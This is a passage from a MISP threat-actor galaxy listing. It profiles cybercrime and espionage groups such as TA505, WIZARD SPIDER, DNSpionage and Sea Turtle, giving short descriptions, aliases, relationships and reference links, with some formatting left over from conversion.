<td><a href="https://www.scmagazineuk.com/second-shadow-brokers-dump-released/article/1476023">https://www.scmagazineuk.com/second-shadow-brokers-dump-released/article/1476023</a></td>
</tr>
<tr>
<td><a href="http://securityaffairs.co/wordpress/62770/hacking/shadowbrokers-return.html">http://securityaffairs.co/wordpress/62770/hacking/shadowbrokers-return.html</a></td>
</tr>
<tr>
<td><a href="https://blacklakesecurity.com/who-was-the-nsa-contractor-arrested-for-leaking-the-shadow-brokers-hacking-tools/">https://blacklakesecurity.com/who-was-the-nsa-contractor-arrested-for-leaking-the-shadow-brokers-hacking-tools/</a></td>
</tr>
</tbody>
</table>

EvilTraffic

Malware experts at CSE Cybsec uncovered a massive malvertising campaign dubbed EvilTraffic leveraging tens of thousands compromised websites. Crooks exploited some CMS vulnerabilities to upload and execute arbitrary PHP pages used to generate revenues via advertising.
The tag is: misp-galaxy:threat-actor="EvilTraffic"

EvilTraffic is also known as:

- Operation EvilTraffic

Table 11271. Table References

Links

http://securityaffairs.co/wordpress/68059/cyber-crime/eviltraffic-malvertising-campaign.html

**HookAds**

HookAds is a malvertising campaign that purchases cheap ad space on low quality ad networks commonly used by adult web sites, online games, or blackhat seo sites. These ads will include JavaScript that redirects a visitor through a series of decoy sites that look like pages filled with native advertisements, online games, or other low quality pages. Under the right circumstances, a visitor will silently load the Fallout exploit kit, which will try and install its malware payload.

The tag is: misp-galaxy:threat-actor="HookAds"

Table 11272. Table References

Links


**INDRIK SPIDER**

INDRIK SPIDER is a sophisticated eCrime group that has been operating Dridex since June 2014. In 2015 and 2016, Dridex was one of the most prolific eCrime banking trojans on the market and, since 2014, those efforts are thought to have netted INDRIK SPIDER millions of dollars in criminal profits. Throughout its years of operation, Dridex has received multiple updates with new modules developed and new anti-analysis features added to the malware. In August 2017, a new ransomware variant identified as BitPaymer was reported to have ransomed the U.K.’s National Health Service (NHS), with a high ransom demand of 53 BTC (approximately $200,000 USD). The targeting of an organization rather than individuals, and the high ransom demands, made BitPaymer stand out from other contemporary ransomware at the time. Though the encryption and ransom functionality of BitPaymer was not technically sophisticated, the malware contained multiple anti-analysis features that overlapped with Dridex. Later technical analysis of BitPaymer indicated that it had been developed by INDRIK SPIDER, suggesting the group had expanded its criminal operation to include ransomware as a monetization strategy.

The tag is: misp-galaxy:threat-actor="INDRIK SPIDER"

View relationships graph

INDRIK SPIDER has relationships with:
Cisco Talos recently discovered a new campaign targeting Lebanon and the United Arab Emirates (UAE) affecting .gov domains, as well as a private Lebanese airline company. Based on our research, it's clear that this adversary spent time understanding the victims' network infrastructure in order to remain under the radar and act as inconspicuous as possible during their attacks. Based on this actor's infrastructure and TTPs, we haven't been able to connect them with any other campaign or actor that's been observed recently. This particular campaign utilizes two fake, malicious websites containing job postings that are used to compromise targets via malicious Microsoft Office documents with embedded macros. The malware utilized by this actor, which we are calling “DNSpionage,” supports HTTP and DNS communication with the attackers. In a separate campaign, the attackers used the same IP to redirect the DNS of legitimate .gov and private company domains. During each DNS compromise, the actor carefully generated Let's Encrypt certificates for the redirected domains. These certificates provide X.509 certificates for TLS free of charge to the user. We don't know at this time if the DNS redirections were successful. In this post, we will break down the attackers' methods and show how they used malicious documents to attempt to trick users into opening malicious websites that are disguised as "help wanted" sites for job seekers. Additionally, we will describe the malicious DNS redirection and the timeline of the events.

The tag is: **misp-galaxy:threat-actor="DNSpionage"**

DNSpionage is also known as:

- **COBALT EDGEWATER**

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://krebsonsecurity.com/tag/dnspionage/">https://krebsonsecurity.com/tag/dnspionage/</a></td>
</tr>
<tr>
<td><a href="https://www.secureworks.com/research/threat-profiles/cobalt-edgewater">https://www.secureworks.com/research/threat-profiles/cobalt-edgewater</a></td>
</tr>
</tbody>
</table>
DarkVishnya

Dubbed DarkVishnya, the attacks targeted at least eight banks using readily-available gear such as netbooks or inexpensive laptops, Raspberry Pi mini-computers, or a Bash Bunny - a USB-sized piece hardware for penetration testing purposes that can pose as a keyboard, flash storage, network adapter, or as any serial device.

The tag is: `misp-galaxy:threat-actor="DarkVishnya"`

<table>
<thead>
<tr>
<th>Table 11275. Table References</th>
</tr>
</thead>
<tbody>
<tr>
<td>Links</td>
</tr>
</tbody>
</table>

Operation Poison Needles

What's noteworthy is that according to the introduction on the compromised website of the polyclinic (http://www.p2f.ru), the institution was established in 1965 and it was founded by the Presidential Administration of Russia. The multidisciplinary outpatient institution mainly serves the civil servants of the highest executive, legislative, judicial authorities of the Russian Federation, as well as famous figures of science and art. Since it is the first detection of this APT attack by 360 Security on a global scale, we code-named it as “Operation Poison Needles”, considering that the target was a medical institution. Currently, the attribution of the attacker is still under investigation. However, the special background of the polyclinic and the sensitiveness of the group it served both indicate the attack is highly targeted. Simultaneously, the attack occurred at a very sensitive timing of the Kerch Strait Incident, so it also aroused the assumption on the political attribution of the attack.

The tag is: `misp-galaxy:threat-actor="Operation Poison Needles"`

<table>
<thead>
<tr>
<th>Table 11276. Table References</th>
</tr>
</thead>
<tbody>
<tr>
<td>Links</td>
</tr>
</tbody>
</table>

GC01

From November 2017 to October 2018, we attributed 14 campaigns to the GC threat actors that used a specific MaaS provider (hereinafter “the Provider”) offered by a known individual (hereinafter “the Provider Operator”).

The tag is: `misp-galaxy:threat-actor="GC01"`

GC01 is also known as:

- Golden Chickens
- Golden Chickens01
Golden Chickens 01

View relationships graph

GC01 has relationships with:

- similar: misp-galaxy:threat-actor="GC02" with estimative-language:likelihood-probability="likely"

Table 11277. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
</table>

GC02

From November 2017 to October 2018, we attributed 14 campaigns to the GC threat actors that used a specific MaaS provider (hereinafter “the Provider”) offered by a known individual (hereinafter “the Provider Operator”).

The tag is: misp-galaxy:threat-actor="GC02"

GC02 is also known as:

- Golden Chickens
- Golden Chickens02
- Golden Chickens 02

View relationships graph

GC02 has relationships with:

- similar: misp-galaxy:threat-actor="GC01" with estimative-language:likelihood-probability="likely"

Table 11278. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
</table>

Operation Sharpshooter

The McAfee Advanced Threat Research team and McAfee Labs Malware Operations Group have discovered a new global campaign targeting nuclear, defense, energy, and financial companies, based on McAfee® Global Threat Intelligence. This campaign, Operation Sharpshooter, leverages an in-memory implant to download and retrieve a second-stage implant—which we call Rising Sun—for further exploitation. According to our analysis, the Rising Sun implant uses source code
from the Lazarus Group’s 2015 backdoor Trojan Duuzer in a new framework to infiltrate these key industries. Operation Sharpshooter’s numerous technical links to the Lazarus Group seem too obvious to immediately draw the conclusion that they are responsible for the attacks, and instead indicate a potential for false flags. Our research focuses on how this actor operates, the global impact, and how to detect the attack. We shall leave attribution to the broader security community.

The tag is: misp-galaxy:threat-actor="Operation Sharpshooter"

View relationships graph

Operation Sharpshooter has relationships with:

- similar: misp-galaxy:threat-actor="Lazarus Group" with estimative-language:likelihood-probability="likely"

Table 11279. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
</table>

**TA505**

TA505, the name given by Proofpoint, has been in the cybercrime business for at least four years. This is the group behind the infamous Dridex banking trojan and Locky ransomware, delivered through malicious email campaigns via Necurs botnet. Other malware associated with TA505 include Philadelphia and GlobeImposter ransomware families.

The tag is: misp-galaxy:threat-actor="TA505"

TA505 is also known as:

- SectorJ04
- SectorJ04 Group
- GRACEFUL SPIDER
- GOLD TAHOE
- Dudear
- G0092
- ATK103
- Hive0065
- CHIMBORAZO

View relationships graph
TA505 has relationships with:

- similar: misp-galaxy:microsoft-activity-group="Lace Tempest" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:microsoft-activity-group="Spandex Tempest" with estimative-language:likelihood-probability="likely"

Table 11280. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://www.proofpoint.com/sites/default/files/ta505_timeline_final4_0.png">https://www.proofpoint.com/sites/default/files/ta505_timeline_final4_0.png</a></td>
</tr>
<tr>
<td><a href="https://threatpost.com/ta505-servhelper-malware/140792/">https://threatpost.com/ta505-servhelper-malware/140792/</a></td>
</tr>
<tr>
<td><a href="https://blog.yoroi.company/research/the-stealthy-email-stealer-in-the-ta505-arsenal/">https://blog.yoroi.company/research/the-stealthy-email-stealer-in-the-ta505-arsenal/</a></td>
</tr>
<tr>
<td><a href="https://www.secureworks.com/research/threat-profiles/gold-tahoe">https://www.secureworks.com/research/threat-profiles/gold-tahoe</a></td>
</tr>
<tr>
<td><a href="https://blog.fox-it.com/2020/11/16/ta505-a-brief-history-of-their-time/">https://blog.fox-it.com/2020/11/16/ta505-a-brief-history-of-their-time/</a></td>
</tr>
<tr>
<td><a href="https://www.secureworks.com/blog/how-cyber-adversaries-are-adapting-to-exploit-the-global-pandemic">https://www.secureworks.com/blog/how-cyber-adversaries-are-adapting-to-exploit-the-global-pandemic</a></td>
</tr>
<tr>
<td><a href="https://cyberthreat.thalesgroup.com/attackers/ATK103">https://cyberthreat.thalesgroup.com/attackers/ATK103</a></td>
</tr>
</tbody>
</table>
GRIM SPIDER

GRIM SPIDER is a sophisticated eCrime group that has been operating the Ryuk ransomware since August 2018, targeting large organizations for a high-ransom return. This methodology, known as “big game hunting,” signals a shift in operations for WIZARD SPIDER, a criminal enterprise of which GRIM SPIDER appears to be a cell. The WIZARD SPIDER threat group, known as the Russia-based operator of the TrickBot banking malware, had focused primarily on wire fraud in the past. Similar to Samas and BitPaymer, Ryuk is specifically used to target enterprise environments. Code comparison between versions of Ryuk and Hermes ransomware indicates that Ryuk was derived from the Hermes source code and has been under steady development since its release. Hermes is commodity ransomware that has been observed for sale on forums and used by multiple threat actors. However, Ryuk is only used by GRIM SPIDER and, unlike Hermes, Ryuk has only been used to target enterprise environments. Since Ryuk’s appearance in August, the threat actors operating it have netted over 705.80 BTC across 52 transactions for a total current value of $3,701,893.98 USD. Grim Spider is reportedly associated with Lunar Spider and Wizard Spider.

The tag is: `misp-galaxy:threat-actor="GRIM SPIDER"`

GRIM SPIDER is also known as:

- GOLD ULRICK

---

Table 11281. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
</table>

---

WIZARD SPIDER

Wizard Spider is reportedly associated with Grim Spider and Lunar Spider. The WIZARD SPIDER threat group is the Russia-based operator of the TrickBot banking malware. This group represents a growing criminal enterprise of which GRIM SPIDER appears to be a subset. The LUNAR SPIDER threat group is the Eastern European-based operator and developer of the commodity banking malware called BokBot (aka IcedID), which was first observed in April 2017. The BokBot malware provides LUNAR SPIDER affiliates with a variety of capabilities to enable credential theft and wire fraud, through the use of webinfects and a malware distribution function. GRIM SPIDER is a sophisticated eCrime group that has been operating the Ryuk ransomware since August 2018, targeting large organizations for a high-ransom return. This methodology, known as “big game hunting,” signals a shift in operations for WIZARD SPIDER, a criminal enterprise of which GRIM SPIDER appears to be a cell. The WIZARD SPIDER threat group, known as the Russia-based operator of the TrickBot banking malware, had focused primarily on wire fraud in the past.

The tag is: `misp-galaxy:threat-actor="WIZARD SPIDER"`

WIZARD SPIDER is also known as:
View relationships graph

WIZARD SPIDER has relationships with:

- similar: misp-galaxy:microsoft-activity-group="Periwinkle Tempest" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:microsoft-activity-group="Pistachio Tempest" with estimative-language:likelihood-probability="likely"

Table 11282. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://www.crowdstrike.com/blog/wizard-spider-lunar-spider-shared-proxy-module/">https://www.crowdstrike.com/blog/wizard-spider-lunar-spider-shared-proxy-module/</a></td>
</tr>
<tr>
<td><a href="https://www.secureworks.com/research/threat-profiles/gold-ulrick">https://www.secureworks.com/research/threat-profiles/gold-ulrick</a></td>
</tr>
<tr>
<td><a href="https://www.secureworks.com/research/dyre-banking-trojan">https://www.secureworks.com/research/dyre-banking-trojan</a></td>
</tr>
<tr>
<td><a href="https://www.secureworks.com/blog/how-cyber-adversaries-are-adapting-to-exploit-the-global-pandemic">https://www.secureworks.com/blog/how-cyber-adversaries-are-adapting-to-exploit-the-global-pandemic</a></td>
</tr>
<tr>
<td><a href="https://www.secureworks.com/blog/trickbot-modifications-target-us-mobile-users">https://www.secureworks.com/blog/trickbot-modifications-target-us-mobile-users</a></td>
</tr>
<tr>
<td><a href="http://www.secureworks.com/research/threat-profiles/gold-blackburn">http://www.secureworks.com/research/threat-profiles/gold-blackburn</a></td>
</tr>
<tr>
<td><a href="https://www.prodaft.com/m/reports/WizardSpider_TLPWHITE_v.1.4.pdf">https://www.prodaft.com/m/reports/WizardSpider_TLPWHITE_v.1.4.pdf</a></td>
</tr>
</tbody>
</table>

MUMMY SPIDER

MUMMY SPIDER is a criminal entity linked to the core development of the malware most commonly known as Emotet or Geodo. First observed in mid-2014, this malware shared code with the Bugat (aka Feodo) banking Trojan. However, MUMMY SPIDER swiftly developed the malware's
capabilities to include an RSA key exchange for command and control (C2) communication and a modular architecture. MUMMY SPIDER does not follow typical criminal behavioral patterns. In particular, MUMMY SPIDER usually conducts attacks for a few months before ceasing operations for a period of between three and 12 months, before returning with a new variant or version. After a 10 month hiatus, MUMMY SPIDER returned Emotet to operation in December 2016 but the latest variant is not deploying a banking Trojan module with web injects, it is currently acting as a ‘loader’ delivering other malware packages. The primary modules perform reconnaissance on victim machines, drop freeware tools for credential collection from web browsers and mail clients and a spam plugin for self-propagation. The malware is also issuing commands to download and execute other malware families such as the banking Trojans Dridex and Qakbot. MUMMY SPIDER advertised Emotet on underground forums until 2015, at which time it became private. Therefore, it is highly likely that Emotet is operate

The tag is: misp-galaxy:threat-actor="MUMMY SPIDER"

MUMMY SPIDER is also known as:

- TA542
- GOLD CRESTWOOD

Table 11283. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://www.secureworks.com/research/threat-profiles/gold-crestwood">https://www.secureworks.com/research/threat-profiles/gold-crestwood</a></td>
</tr>
</tbody>
</table>

STARDUST CHOLLIMA

Open-source reporting has claimed that the Hermes ransomware was developed by the North Korean group STARDUST CHOLLIMA (activities of which have been public reported as part of the “Lazarus Group”), because Hermes was executed on a host during the SWIFT compromise of FEIB in October 2017.

The tag is: misp-galaxy:threat-actor="STARDUST CHOLLIMA"

Table 11284. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
</table>

7074
Cold River

In short, “Cold River” is a sophisticated threat (actor) that utilizes DNS subdomain hijacking, certificate spoofing, and covert tunneled command and control traffic in combination with complex and convincing lure documents and custom implants.

The tag is: misp-galaxy:threat-actor="Cold River"

Cold River is also known as:

- Nahr Elbard
- Nahr el bared

Silence group

A relatively new threat actor that’s been operating since mid-2016 Group-IB has exposed the attacks committed by Silence cybercriminal group. While the gang had previously targeted Russian banks, Group-IB experts also have discovered evidence of the group’s activity in more than 25 countries worldwide. Group-IB has published its first detailed report on tactics and tools employed by Silence. Group-IB security analysts’ hypothesis is that at least one of the gang members appears to be a former or current employee of a cyber security company. The confirmed damage from Silence activity is estimated at 800 000 USD. Silence is a group of Russian-speaking hackers, based on their commands language, the location of infrastructure they used, and the geography of their targets (Russia, Ukraine, Belarus, Azerbaijan, Poland, and Kazakhstan). Although phishing emails were also sent to bank employees in Central and Western Europe, Africa, and Asia). Furthermore, Silence used Russian words typed on an English keyboard layout for the commands of the employed backdoor. The hackers also used Russian-language web hosting services.

The tag is: misp-galaxy:threat-actor="Silence group"

Silence group is also known as:

- Silence
- WHISPER SPIDER
APT39

APT39 was created to bring together previous activities and methods used by this actor, and its activities largely align with a group publicly referred to as "Chafer." However, there are differences in what has been publicly reported due to the variances in how organizations track activity. APT39 primarily leverages the SEAWEED and CACHEMONEY backdoors along with a specific variant of the POWBAT backdoor. While APT39's targeting scope is global, its activities are concentrated in the Middle East. APT39 has prioritized the telecommunications sector, with additional targeting of the travel industry and IT firms that support it and the high-tech industry.

The tag is: misp-galaxy:threat-actor="APT39"

APT39 is also known as:

- Chafer
- REMIX KITTEN
- COBALT HICKMAN
- G0087
- Radio Serpens

Table 11287. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://unit42.paloaltonetworks.com/new-python-based-payload-mechaflounder-used-by-chafer/">https://unit42.paloaltonetworks.com/new-python-based-payload-mechaflounder-used-by-chafer/</a></td>
</tr>
<tr>
<td><a href="https://attack.mitre.org/groups/G0087/">https://attack.mitre.org/groups/G0087/</a></td>
</tr>
<tr>
<td><a href="https://www.secureworks.com/research/threat-profiles/cobalt-hickman">https://www.secureworks.com/research/threat-profiles/cobalt-hickman</a></td>
</tr>
<tr>
<td><a href="https://unit42.paloaltonetworks.com/atoms/radioserpens/">https://unit42.paloaltonetworks.com/atoms/radioserpens/</a></td>
</tr>
</tbody>
</table>

Siesta

FireEye recently looked deeper into the activity discussed in TrendMicro's blog and dubbed the "Siesta" campaign. The tools, modus operandi, and infrastructure used in the campaign present two possibilities: either the Chinese cyber-espionage unit APT1 is perpetrating this activity, or another group is using the same tactics and tools as the legacy APT1. The Siesta campaign reinforces the fact that analysts and network defenders should remain on the lookout for known, public indicators
and for shared attributes that allow security experts to detect multiple actors with one signature.

The tag is: `misp-galaxy:threat-actor="Siësta"

**Table 11288. Table References**

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://www.fireeye.com/blog/threat-research/2014/03/a-detailed-examination-of-the-siesta-campaign.html">https://www.fireeye.com/blog/threat-research/2014/03/a-detailed-examination-of-the-siesta-campaign.html</a></td>
</tr>
</tbody>
</table>

**Gallmaker**

Symantec researchers have uncovered a previously unknown attack group that is targeting government and military targets, including several overseas embassies of an Eastern European country, and military and defense targets in the Middle East. This group eschews custom malware and uses living off the land (LotL) tactics and publicly available hack tools to carry out activities that bear all the hallmarks of a cyber espionage campaign. The group, which we have given the name Gallmaker, has been operating since at least December 2017, with its most recent activity observed in June 2018.

The tag is: `misp-galaxy:threat-actor="Gallmaker"

**Table 11289. Table References**

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://www.symantec.com/blogs/threat-intelligence/gallmaker-attack-group">https://www.symantec.com/blogs/threat-intelligence/gallmaker-attack-group</a></td>
</tr>
</tbody>
</table>

**BOSS SPIDER**

Throughout 2018, CrowdStrike Intelligence tracked BOSS SPIDER as it regularly updated Samas ransomware and received payments to known Bitcoin (BTC) addresses. This consistent pace of activity came to an abrupt halt at the end of November 2018 when the U.S. DoJ released an indictment for Iran-based individuals Faramarz Shahi Savandi and Mohammad Mehdi Shah Mansouri, alleged members of the group.

The tag is: `misp-galaxy:threat-actor="BOSS SPIDER"

BOSS SPIDER is also known as:

- **GOLD LOWELL**

**Table 11290. Table References**

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://www.secureworks.com/research/threat-profiles/gold-lowell">https://www.secureworks.com/research/threat-profiles/gold-lowell</a></td>
</tr>
<tr>
<td><a href="https://www.secureworks.com/blog/samsam-converting-opportunity-into-profit">https://www.secureworks.com/blog/samsam-converting-opportunity-into-profit</a></td>
</tr>
<tr>
<td><a href="https://www.secureworks.com/blog/samas-ransomware">https://www.secureworks.com/blog/samas-ransomware</a></td>
</tr>
</tbody>
</table>
PINCHY SPIDER

First observed in January 2018, GandCrab ransomware quickly began to proliferate and receive regular updates from its developer, PINCHY SPIDER, which over the course of the year established a RaaS operation with a dedicated set of affiliates. CrowdStrike Intelligence has recently observed PINCHY SPIDER affiliates deploying GandCrab ransomware in enterprise environments, using lateral movement techniques and tooling commonly associated with nation-state adversary groups and penetration testing teams. This change in tactics makes PINCHY SPIDER and its affiliates the latest eCrime adversaries to join the growing trend of targeted, low-volume/high-return ransomware deployments known as “big game hunting.” PINCHY SPIDER is the criminal group behind the development of the ransomware most commonly known as GandCrab, which has been active since January 2018. PINCHY SPIDER sells access to use GandCrab ransomware under a partnership program with a limited number of accounts. The program is operated with a 60-40 split in profits (60 percent to the customer), as is common among eCrime actors, but PINCHY SPIDER is also willing to negotiate up to a 70-30 split for “sophisticated” customers.

The tag is: misp-galaxy:threat-actor="PINCHY SPIDER"

Table 11291. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://www.crowdstrike.com/blog/pinchy-spider-adopts-big-game-hunting/">https://www.crowdstrike.com/blog/pinchy-spider-adopts-big-game-hunting/</a></td>
</tr>
</tbody>
</table>

GURU SPIDER

Early in 2018, CrowdStrike Intelligence observed GURU SPIDER supporting the distribution of multiple crimeware families through its flagship malware loader, Quant Loader.

The tag is: misp-galaxy:threat-actor="GURU SPIDER"

Table 11292. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
</table>

SALTY SPIDER

Beginning in January 2018 and persisting through the first half of the year, CrowdStrike Intelligence observed SALTY SPIDER, developer and operator of the long-running Sality botnet, distribute malware designed to target cryptocurrency users.
The tag is: *misp-galaxy:threat-actor="SALTY SPIDER"

Table 11293. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
</table>

NOMAD PANDA

In the first quarter of 2018, CrowdStrike Intelligence identified NOMAD PANDA activity targeting Central Asian nations with exploit documents built with the 8.t tool.

The tag is: *misp-galaxy:threat-actor="NOMAD PANDA"

Table 11294. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
</table>

Flash Kitten

This suspected Iran-based adversary conducted long-running SWC campaigns from December 2016 until public disclosure in July 2018. Like other Iran-based actors, the target scope for FLASH KITTEN appears to be focused on the MENA region.

The tag is: *misp-galaxy:threat-actor="Flash Kitten"

Table 11295. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
</table>

TINY SPIDER

According to CrowdStrike, this actor is using TinyLoader and TinyPOS, potentially buying access through Dridex infections.

The tag is: *misp-galaxy:threat-actor="TINY SPIDER"

Table 11296. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
</table>

LUNAR SPIDER

According to CrowdStrike, this actor is using BokBok/IcedID, potentially buying distribution
through Emotet infections. On March 17, 2019, CrowdStrike Intelligence observed the use of a new BokBot (developed and operated by LUNAR SPIDER) proxy module in conjunction with TrickBot (developed and operated by WIZARD SPIDER), which may provide WIZARD SPIDER with additional tools to steal sensitive information and conduct fraudulent wire transfers. This activity also provides further evidence to support the existence of a flourishing relationship between these two actors. Lunar Spider is reportedly associated with Grim Spider and Wizard Spider.

The tag is: `misp-galaxy:threat-actor="LUNAR SPIDER"`

LUNAR SPIDER is also known as:

- Goldman Swathmore

Table 11297. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://www.crowdstrike.com/blog/wizard-spider-lunar-spider-shared-proxy-module/">https://www.crowdstrike.com/blog/wizard-spider-lunar-spider-shared-proxy-module/</a></td>
</tr>
<tr>
<td><a href="https://www.secureworks.com/research/threat-profiles/gold-swathmore">https://www.secureworks.com/research/threat-profiles/gold-swathmore</a></td>
</tr>
</tbody>
</table>

**RATPAK SPIDER**

In July 2018, the source code of Pegasus, RATPAK SPIDER’s malware framework, was anonymously leaked. This malware has been linked to the targeting of Russia’s financial sector. Associated malware, Buhtrap, which has been leaked previously, was observed this year in connection with SWC campaigns that also targeted Russian users.

The tag is: `misp-galaxy:threat-actor="RATPAK SPIDER"`

Table 11298. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
</table>

**Operation Kabar Cobra**

The tag is: `misp-galaxy:threat-actor="Operation Kabar Cobra"`

Table 11299. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
</table>
**APT-C-36**

Since April 2018, an APT group (Blind Eagle, APT-C-36) suspected coming from South America carried out continuous targeted attacks against Colombian government institutions as well as important corporations in financial sector, petroleum industry, professional manufacturing, etc.

The tag is: misp-galaxy:threat-actor="APT-C-36"

APT-C-36 is also known as:

- Blind Eagle

**Table 11300. Table References**

<table>
<thead>
<tr>
<th>Links</th>
<th></th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://lab52.io/blog/apt-c-36-recent-activity-analysis/">https://lab52.io/blog/apt-c-36-recent-activity-analysis/</a></td>
<td></td>
</tr>
<tr>
<td><a href="https://attack.mitre.org/groups/G0099/">https://attack.mitre.org/groups/G0099/</a></td>
<td></td>
</tr>
</tbody>
</table>

**IRIDIUM**

Resecurity’s research indicates that the attack on Parliament is a part of a multi-year cyberespionage campaign orchestrated by a nation-state actor whom we are calling IRIDIUM. This actor targets sensitive government, diplomatic, and military resources in the countries comprising the Five Eyes intelligence alliance (which includes Australia, Canada, New Zealand, the United Kingdom and the United States)

The tag is: misp-galaxy:threat-actor="IRIDIUM"

**View relationships graph**

IRIDIUM has relationships with:

- similar: misp-galaxy:microsoft-activity-group="Seashell Blizzard" with estimative-language:likelihood-probability="likely"

**Table 11301. Table References**

<table>
<thead>
<tr>
<th>Links</th>
<th></th>
</tr>
</thead>
</table>
SandCat

SandCat, on the other hand, is a group that was discovered more recently by Kaspersky. One of the Windows vulnerabilities patched by Microsoft in December had been exploited by both FruityArmor and SandCat in attacks targeting the Middle East and Africa. SandCat has been using FinFisher/FinSpy spyware and CHAINSHOT, a piece of malware analyzed earlier this year by Palo Alto Networks. The group has also used the CVE-2018-8589 and CVE-2018-8611 Windows vulnerabilities in its attacks, both of which had a zero-day status when Microsoft released fixes.

The tag is: `misp-galaxy:threat-actor="SandCat"`

Operation Comando

Operation Comando is a pure cybercrime campaign, possibly with Brazilian origin, with a concrete and persistent focus on the hospitality sector, which proves how a threat actor can be successful in pursuing its objectives while maintaining a cheap budget. The use of DDNS services, publicly available remote access tools, and having a minimum knowledge on software development (in this case VB.NET) has been enough for running a campaign lasting month, and potentially gathering credit card information and other possible data.

The tag is: `misp-galaxy:threat-actor="Operation Comando"`

APT-C-27

A threat actor which is active since at least November 2014. This group launched long-term attacks against organizations in the Syrian region using Android and Windows malwares. Its objective is the theft of sensitive information.

The tag is: `misp-galaxy:threat-actor="APT-C-27"`

APT-C-27 is also known as:

- GoldMouse
Golden RAT
ATK80

Table 11304. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://ti.360.net/blog/articles/analysis-of-apt-c-27/">https://ti.360.net/blog/articles/analysis-of-apt-c-27/</a></td>
</tr>
</tbody>
</table>

Operation ShadowHammer

Newly discovered supply chain attack that leveraged ASUS Live Update software. The goal of the attack was to surgically target an unknown pool of users, which were identified by their network adapters’ MAC addresses. To achieve this, the attackers had hardcoded a list of MAC addresses in the trojanized samples and this list was used to identify the actual intended targets of this massive operation. We were able to extract more than 600 unique MAC addresses from over 200 samples used in this attack. Of course, there might be other samples out there with different MAC addresses in their list.

The tag is: `misp-galaxy:threat-actor="Operation ShadowHammer"`

Table 11305. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://securelist.com/operation-shadowhammer/89992/">https://securelist.com/operation-shadowhammer/89992/</a></td>
</tr>
</tbody>
</table>

Whitefly

In July 2018, an attack on Singapore's largest public health organization, SingHealth, resulted in a reported 1.5 million patient records being stolen. Until now, nothing was known about who was responsible for this attack. Symantec researchers have discovered that this attack group, which we call Whitefly, has been operating since at least 2017, has targeted organizations based mostly in Singapore across a wide variety of sectors, and is primarily interested in stealing large amounts of sensitive information.

The tag is: `misp-galaxy:threat-actor="Whitefly"`

Table 11306. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://www.symantec.com/blogs/threat-intelligence/whitefly-espionage-singapore">https://www.symantec.com/blogs/threat-intelligence/whitefly-espionage-singapore</a></td>
</tr>
<tr>
<td><a href="https://www.reuters.com/article/us-singapore-cyberattack/cyberattack-on-singapore-health-database-steals-details-of-1-5-million-including-pm-idUSKBN1KA14J">https://www.reuters.com/article/us-singapore-cyberattack/cyberattack-on-singapore-health-database-steals-details-of-1-5-million-including-pm-idUSKBN1KA14J</a></td>
</tr>
</tbody>
</table>
Sea Turtle

This blog post discusses the technical details of a state-sponsored attack manipulating DNS systems. While this incident is limited to targeting primarily national security organizations in the Middle East and North Africa, and we do not want to overstate the consequences of this specific campaign, we are concerned that the success of this operation will lead to actors more broadly attacking the global DNS system. DNS is a foundational technology supporting the Internet. Manipulating that system has the potential to undermine the trust users have on the internet. That trust and the stability of the DNS system as a whole drives the global economy. Responsible nations should avoid targeting this system, work together to establish an accepted global norm that this system and the organizations that control it are off-limits, and cooperate in pursuing those actors who act irresponsibly by targeting this system.

The tag is: misp-galaxy:threat-actor="Sea Turtle"

Sea Turtle is also known as:

- COSMIC WOLF
- Marbled Dust
- SILICON
- Teal Kurma
- UNC1326

View relationships graph

Sea Turtle has relationships with:

- similar: misp-galaxy:microsoft-activity-group="Marbled Dust" with estimative-language:likelihood-probability="likely"

Table 11307. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://blog.talosintelligence.com/2019/04/seaturtle.html">https://blog.talosintelligence.com/2019/04/seaturtle.html</a></td>
</tr>
<tr>
<td><a href="https://blog.talosintelligence.com/sea-turtle-keeps-on-swimming">https://blog.talosintelligence.com/sea-turtle-keeps-on-swimming</a></td>
</tr>
<tr>
<td><a href="https://icann.zoom.us/recording/play/AhQB4AQyjcEjGz2wQQans0Xqkz3su8swGLQoQRJhdECw9ttz0TbuyzBlue85gIY">https://icann.zoom.us/recording/play/AhQB4AQyjcEjGz2wQQans0Xqkz3su8swGLQoQRJhdECw9ttz0TbuyzBlue85gIY</a></td>
</tr>
<tr>
